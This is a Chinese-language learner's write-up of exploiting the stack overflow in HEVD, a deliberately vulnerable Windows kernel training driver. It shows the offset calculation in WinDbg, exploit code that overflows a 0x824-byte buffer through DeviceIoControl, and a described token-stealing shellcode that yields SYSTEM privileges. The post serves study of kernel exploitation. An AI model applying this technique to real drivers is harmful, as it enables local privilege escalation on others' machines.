-
-
[原创]windows内核漏洞学习-HEVD篇之栈溢出
-
2022-2-18 14:09 12156
-
继上一篇搭好环境之后,开始对HEVD靶场的学习,结合《windows内核原理与实现》,本篇主要记录对栈溢出漏洞的学习,包含原理、实践和出现的问题(新手记录可能会过于啰嗦
0x1 栈溢出
0x11 原理
栈是一种数据结构,先进后出,用来保存函数的返回地址,参数,局部变量等数据。
栈溢出大概是最基础的漏洞,我的理解是程序没有对向栈中某变量写入数据的大小进行合理的控制,我们就可以构造一些数据(shellcode)来覆盖栈中其他相邻变量的值比如返回地址,从而让程序运行我们的代码。
0x12 实践
思路:
- 寻找能够程序中提供写入数据的点,即漏洞点
- 找偏移,计算可以正确覆盖到返回地址的数据大小
- 写exp
寻找程序中提供输入的地方
用ida查看HEVD.sys
程序在使用memcpy时,并没有对KernelBuffer输入大小进行判断和控制,就可能会出现栈溢出
找偏移,正确覆盖
在ida中修改base,修改为windbg中看到的HEVD的地址
得到函数开始和memcpy函数开始的地址:928851A2和92885235
同时可以得知buffer的大小是0x800
在windbg中下断点:
1 2 | bu 928851A2 bu 92885235 |
然后运行,在被调试机上运行exp
记录a8b88ab4
记录buffer开始位置a8b88294
偏移为:a8b88ab4-a8b88294=0x820
运行官方exp:
buffer的大小是0x800,查看a8b88294(buffer开始位置)+0x7f0(第一行即为buffer最后一行)处的堆栈
单步,可以看到堆栈被A填充满了
ebp也被41覆盖了,返回地址00063710是shellcoded的地址
官方exp运行结果:
编写exp
首先需要知道如何和驱动通信:
用户通过I/O请求包IRP-》句柄引用文件对象-》设备对象-》驱动程序对象(ring0)
即通过文件对象定位到关联的设备对象,然后定位到驱动程序对象,I/O管理器将I/O请求传递给驱动程序的例程。
因此编写思路:
1、通过CreateFile函数创建一个指向xx设备对象的文件对象
2、调用DeviceIoControl函数对设备对象发出I/O请求,请求中包含提权的shellcode
3、使用CloseHandle函数关闭文件对象
框架:shellcode+buf+通信
提权的shellcode(官方):
原理:通过遍历进程找到system进程【pid=4】,复制它的token给当前线程即可提权,可以修改cmd token的值为system token即可提权
创建文件对象
CreateFileA函数:如果函数成功,则返回值是指定文件、设备、命名管道或邮槽的打开句柄。
1 2 3 4 5 6 7 8 9 | HANDLE CreateFileA( [ in ] LPCSTR lpFileName, [ in ] DWORD dwDesiredAccess, [ in ] DWORD dwShareMode, [ in , optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [ in ] DWORD dwCreationDisposition, [ in ] DWORD dwFlagsAndAttributes, [ in , optional] HANDLE hTemplateFile ); |
在源码中我们可以找到设备名称:HackSysExtremeVulnerableDriver,格式为\.\设备名称
因此设备名称:\.\HackSysExtremeVulnerableDriver
同时在使用CreateFileA函数时,需要指定FILE_SHARE_READ和 FILE_SHARE_WRITE访问标志,fdwCreate参数必须指定 OPEN_EXISTING,hTemplateFile参数必须为NULL,fdwAttrsAndFlags参数可以指定 FILE_FLAG_OVERLAPPED来指示返回的句柄可以用于重叠(异步)I/O 操作。
代码如下:
1 2 3 4 5 6 7 | hFile = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); |
定义buffer
我们要将返回地址覆盖为shellcode的位置,因此buffer大小为(0x820[覆盖到ebp]+0x4[返回地址]),即
1 2 3 | char buf[ 0x824 ]; #申请一个0x824大小的字符数组 memset(buf, 'A' , 0x824 ); #全赋A * (PDWORD)(buf + 0x820 ) = (DWORD)&ShellCode; #最后4位返回地址为shellcode的地址 |
发出I/O请求
使用DeviceIoControl 函数(直接向指定的设备驱动程序发送控制代码,使相应的设备执行相应的操作)
1 2 3 4 5 6 7 8 9 10 | BOOL DeviceIoControl( [ in ] HANDLE hDevice, #要在其上执行操作的设备的句柄。设备通常是卷、目录、文件或流。要检索设备句柄,请使用CreateFile函数 [ in ] DWORD dwIoControlCode, #操作的控制代码 [ in , optional] LPVOID lpInBuffer, #指向包含执行操作所需数据的输入缓冲区的指针 [ in ] DWORD nInBufferSize, #输入缓冲区的大小 [out, optional] LPVOID lpOutBuffer, #指向要接收操作返回的数据的输出缓冲区的指针 [ in ] DWORD nOutBufferSize, #输出缓冲区的大小 [out, optional] LPDWORD lpBytesReturned, #指向变量的指针,该变量接收存储在输出缓冲区中的数据大小 [ in , out, optional] LPOVERLAPPED lpOverlapped #指向OVERLAPPED结构的指针 ); |
设置参数:
1、hDevice,设备的句柄,在createfile的时候返回了
2、dwIoControlCode,是由CTL_CODE宏定义的,用于创建一个唯一的32位系统I/O控制代码
到ida里寻找,使用0x222003(即IoControlCode)通信可以调用有栈溢出漏洞的函数
3、lpInBuffer,我们定义的buf
4、nInBufferSize,buf的大小
代码如下:
1 | DeviceIoControl(hFile,dwIoControlCode,(LPVOID)buf, 0x824 ,NULL, 0 ,&BytesReturned,NULL); |
最终main函数:
执行情况:成功
(ps:林默不是真名.....)
0x13 出现的问题
1、windbg显示不了调试信息
解决:输入以下命令:
1 | ed nt!Kd_DEFAULT_Mask 8 |